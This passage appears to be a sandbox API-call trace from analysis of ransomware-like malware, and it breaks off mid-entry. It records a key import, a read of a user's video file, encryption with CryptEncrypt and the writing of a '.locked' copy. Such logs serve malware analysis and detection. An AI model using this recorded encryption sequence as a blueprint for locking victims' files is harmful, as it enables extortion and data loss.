(param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0139.004] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0139.004] SystemFunction041 (in: Memory=0x8ebf614, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf614) returned 0x0 [0139.004] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTᑋ") returned 0x28 [0139.004] SystemFunction040 (in: Memory=0x8ebf614, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf614) returned 0x0 [0139.004] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0139.004] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0139.004] SystemFunction041 (in: Memory=0x8ebf614, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf614) returned 0x0 [0139.005] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTAᑋ") returned 0x28 [0139.005] SystemFunction040 (in: Memory=0x8ebf614, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf614) returned 0x0 [0139.005] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0139.005] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0139.005] SystemFunction041 (in: Memory=0x8ebf614, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf614) returned 0x0 [0139.005] SystemFunction040 (in: Memory=0x8ebf614, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf614) returned 0x0 [0139.005] SystemFunction041 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0139.005] SystemFunction040 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0139.005] SystemFunction041 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0139.005] SystemFunction040 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0139.006] SystemFunction041 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0139.006] SystemFunction040 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0139.006] SystemFunction041 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0139.006] SystemFunction040 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0139.006] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x94, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.006] SystemFunction041 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0139.006] SystemFunction040 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0139.007] CryptAcquireContextW (in: phProv=0x99ae630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae630*=0x43964e8) returned 1 [0139.007] CryptImportKey (in: hProv=0x43964e8, pbData=0x698f3e8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x99aea04 | out: phKey=0x99aea04*=0x8e84e38) returned 1 [0139.008] CryptContextAddRef (hProv=0x43964e8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0139.008] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0139.008] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x95, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.008] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x94, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.008] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x95, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x95, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.009] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\eRyEYq-B.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\eryeyq-b.mp4")) returned 0x20 [0139.009] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\eRyEYq-B.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\eryeyq-b.mp4")) returned 0x20 [0139.009] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\eRyEYq-B.mp4", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\eRyEYq-B.mp4", lpFilePart=0x0) returned 0x29 [0139.009] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\eRyEYq-B.mp4", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\eRyEYq-B.mp4", lpFilePart=0x0) returned 0x29 [0139.010] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x95, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.010] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\eRyEYq-B.mp4", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\eRyEYq-B.mp4", lpFilePart=0x0) returned 0x29 [0139.010] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\eRyEYq-B.mp4", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\eRyEYq-B.mp4", lpFilePart=0x0) returned 0x29 [0139.010] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0139.010] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x96, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.010] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x95, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.010] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x96, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x96, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.012] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\eRyEYq-B.mp4", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\eRyEYq-B.mp4", lpFilePart=0x0) returned 0x29 [0139.012] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0139.012] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\eRyEYq-B.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\eryeyq-b.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0139.012] GetFileType (hFile=0x778) returned 0x1 [0139.012] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0139.012] GetFileType (hFile=0x778) returned 0x1 [0139.012] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x96, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.013] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x1000\x727a\xe48c\x99a\x2810\x64b\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\x20") returned 0x0 [0139.013] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x97, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.013] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x96, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.013] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x97, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x97, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.013] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\eRyEYq-B.mp4.locked", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\eRyEYq-B.mp4.locked", lpFilePart=0x0) returned 0x30 [0139.013] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0139.013] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\eRyEYq-B.mp4.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\eryeyq-b.mp4.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0139.014] GetFileType (hFile=0x768) returned 0x1 [0139.014] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0139.014] GetFileType (hFile=0x768) returned 0x1 [0139.014] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x97, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.014] CryptGenRandom (in: hProv=0x43964e8, dwLen=0x10, pbBuffer=0x69a4ad8 | out: pbBuffer=0x69a4ad8) returned 1 [0139.014] CryptContextAddRef (hProv=0x43964e8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0139.014] CryptDuplicateKey (in: hKey=0x8e84e38, pdwReserved=0x0, dwFlags=0x0, phKey=0x99ae798 | out: phKey=0x99ae798*=0x8e850f8) returned 1 [0139.014] CryptContextAddRef (hProv=0x43964e8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0139.014] CryptSetKeyParam (hKey=0x8e850f8, dwParam=0x4, pbData=0x69a5d94*=0x1, dwFlags=0x0) returned 1 [0139.014] CryptSetKeyParam (hKey=0x8e850f8, dwParam=0x1, pbData=0x69a5d60, dwFlags=0x0) returned 1 [0139.014] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x18b2\x7477\xef70\x437\x242") returned 0x0 [0139.014] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x98, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.014] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x97, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.015] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x98, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x98, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.015] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x98, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.015] ReadFile (in: hFile=0x778, lpBuffer=0x69a93b8, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x69a93b8*, lpNumberOfBytesRead=0x99ae7a8*=0x14000, lpOverlapped=0x0) returned 1 [0139.015] CryptEncrypt (in: hKey=0x8e850f8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x69bd3c4*, pdwDataLen=0x99ae79c*=0x14000, dwBufLen=0x14000 | out: pbData=0x69bd3c4*, pdwDataLen=0x99ae79c*=0x14000) returned 1 [0139.016] WriteFile (in: hFile=0x768, lpBuffer=0x69a4b98*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x69a4b98*, lpNumberOfBytesWritten=0x99ae780*=0x1000, lpOverlapped=0x0) returned 1 [0139.017] WriteFile (in: hFile=0x768, lpBuffer=0x69be3b0*, nNumberOfBytesToWrite=0x13014, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x69be3b0*, lpNumberOfBytesWritten=0x99ae780*=0x13014, lpOverlapped=0x0) returned 1 [0139.019] ReadFile (in: hFile=0x778, lpBuffer=0x69a93b8, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x69a93b8*, lpNumberOfBytesRead=0x99ae7a8*=0x1008, lpOverlapped=0x0) returned 1 [0139.019] CryptEncrypt (in: hKey=0x8e850f8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x69d13e8*, pdwDataLen=0x99ae79c*=0x1000, dwBufLen=0x1000 | out: pbData=0x69d13e8*, pdwDataLen=0x99ae79c*=0x1000) returned 1 [0139.019] WriteFile (in: hFile=0x768, lpBuffer=0x69d13e8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x69d13e8*, lpNumberOfBytesWritten=0x99ae780*=0x1000, lpOverlapped=0x0) returned 1 [0139.019] ReadFile (in: hFile=0x778, lpBuffer=0x69a93b8, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x69a93b8*, lpNumberOfBytesRead=0x99ae7a8*=0x0, lpOverlapped=0x0) returned 1 [0139.019] CryptEncrypt (in: hKey=0x8e850f8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x69d240c*, pdwDataLen=0x99ae7f0*=0x10, dwBufLen=0x10 | out: pbData=0x69d240c*, pdwDataLen=0x99ae7f0*=0x10) returned 1 [0139.019] CryptEncrypt (in: hKey=0x8e850f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x69d2440*, pdwDataLen=0x99ae7f8*=0x0, dwBufLen=0x10 | out: pbData=0x69d2440*, pdwDataLen=0x99ae7f8*=0x10) returned 1 [0139.019] WriteFile (in: hFile=0x768, lpBuffer=0x69a4b98*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x99ae7c8, lpOverlapped=0x0 | out: lpBuffer=0x69a4b98*, lpNumberOfBytesWritten=0x99ae7c8*=0x10, lpOverlapped=0x0) returned 1 [0139.019] CloseHandle (hObject=0x768) returned 1 [0139.022] CloseHandle (hObject=0x778) returned 1 [0139.022] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\eRyEYq-B.mp4", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\eRyEYq-B.mp4", lpFilePart=0x0) returned 0x29 [0139.022] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0139.022] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x99, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.022] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x98, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.022] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x99, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x99, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.023] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\eRyEYq-B.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\eryeyq-b.mp4")) returned 0x20 [0139.024] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\eRyEYq-B.mp4", nBufferLength=0x105, lpBuffer=0x99adfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\eRyEYq-B.mp4", lpFilePart=0x0) returned 0x29 [0139.024] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0139.024] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0139.024] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0139.024] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0139.024] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0139.025] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0139.025] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0139.025] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0139.025] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0139.025] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0139.025] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0139.025] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0139.025] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos" (normalized: "c:\\users\\ciihmnxmn6ps\\videos")) returned 0x11 [0139.025] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos" (normalized: "c:\\users\\ciihmnxmn6ps\\videos")) returned 0x11 [0139.025] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos", lpFilePart=0x0) returned 0x1c [0139.025] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos", lpFilePart=0x0) returned 0x1c [0139.025] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\eRyEYq-B.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\eryeyq-b.mp4")) returned 0x20 [0139.025] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\eRyEYq-B.mp4", nBufferLength=0x105, lpBuffer=0x99adf28, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\eRyEYq-B.mp4", lpFilePart=0x0) returned 0x29 [0139.025] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\eRyEYq-B.mp4", nBufferLength=0x105, 